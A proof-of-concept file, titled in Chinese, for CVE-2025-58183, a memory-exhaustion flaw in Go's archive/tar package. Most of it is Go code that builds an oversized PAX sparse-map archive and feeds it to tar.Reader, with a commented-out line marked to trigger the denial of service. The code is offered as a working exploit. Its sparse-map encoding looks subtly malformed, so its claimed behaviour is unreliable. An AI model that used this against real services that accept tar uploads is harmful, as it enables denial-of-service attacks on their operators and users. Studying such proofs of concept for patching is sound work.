CVE-2025-58183: Go语言archive/tar包稀疏文件内存耗尽漏洞

package main import ( "archive/tar" "bytes" "fmt" "io" ) func generateMaliciousSparseTar() ([]byte, error) { buf := new(bytes.Buffer) tw := tar.NewWriter(buf) // Create a header with PAX format sparse attributes hdr := &tar.Header{ Name: "malicious_sparse_file", Mode: 0644, Size: int64(1 << 40), // Large logical size Format: tar.FormatPAX, PAXRecords: make(map[string]string), } // Generate millions of sparse regions // This will cause unbounded memory allocation const numSparseRegions = 1000000 // PAX sparse format: SPARSE_EXTENSIONS (GNU sparse format) sparseData := "0 0\n" for i := 0; i < numSparseRegions; i++ { offset := int64(i * 4096) numBytes := int64(4096) sparseData += fmt.Sprintf("%d %d\n", offset, numBytes) } hdr.PAXRecords["GNU.sparse.map"] = sparseData if err := tw.WriteHeader(hdr); err != nil { return nil, err } // Write minimal data (sparse regions reference non-existent data) if _, err := tw.Write([]byte("X")); err != nil { return nil, err } if err := tw.Close(); err != nil { return nil, err } return buf.Bytes(), nil } func main() { fmt.Println("Generating malicious sparse tar archive...") maliciousTar, err := generateMaliciousSparseTar() if err != nil { fmt.Printf("Error generating tar: %v\n", err) return } fmt.Printf("Generated tar file size: %d bytes\n", len(maliciousTar)) fmt.Println("To trigger vulnerability, parse this with archive/tar.Reader") // Vulnerable code path tr := tar.NewReader(bytes.NewReader(maliciousTar)) for { hdr, err := tr.Next() if err == io.EOF { break } if err != nil { fmt.Printf("Error reading tar: %v\n", err) return } fmt.Printf("Processing file: %s\n", hdr.Name) // This will allocate unbounded memory for sparse processing // io.Copy(io.Discard, tr) // Uncomment to trigger memory allocation } } /* Vulnerability Explanation: 1. The tar archive contains a header with PAX sparse map attributes 2. PAXRecords["GNU.sparse.map"] contains millions of sparse region entries 3. When tar.Reader processes this header, it reads all sparse regions 4. Each sparse region may trigger memory allocation 5. Result: Small compressed input -> massive memory allocation -> DoS Mitigation: Upgrade to Go version with CVE-2025-58183 fix applied. */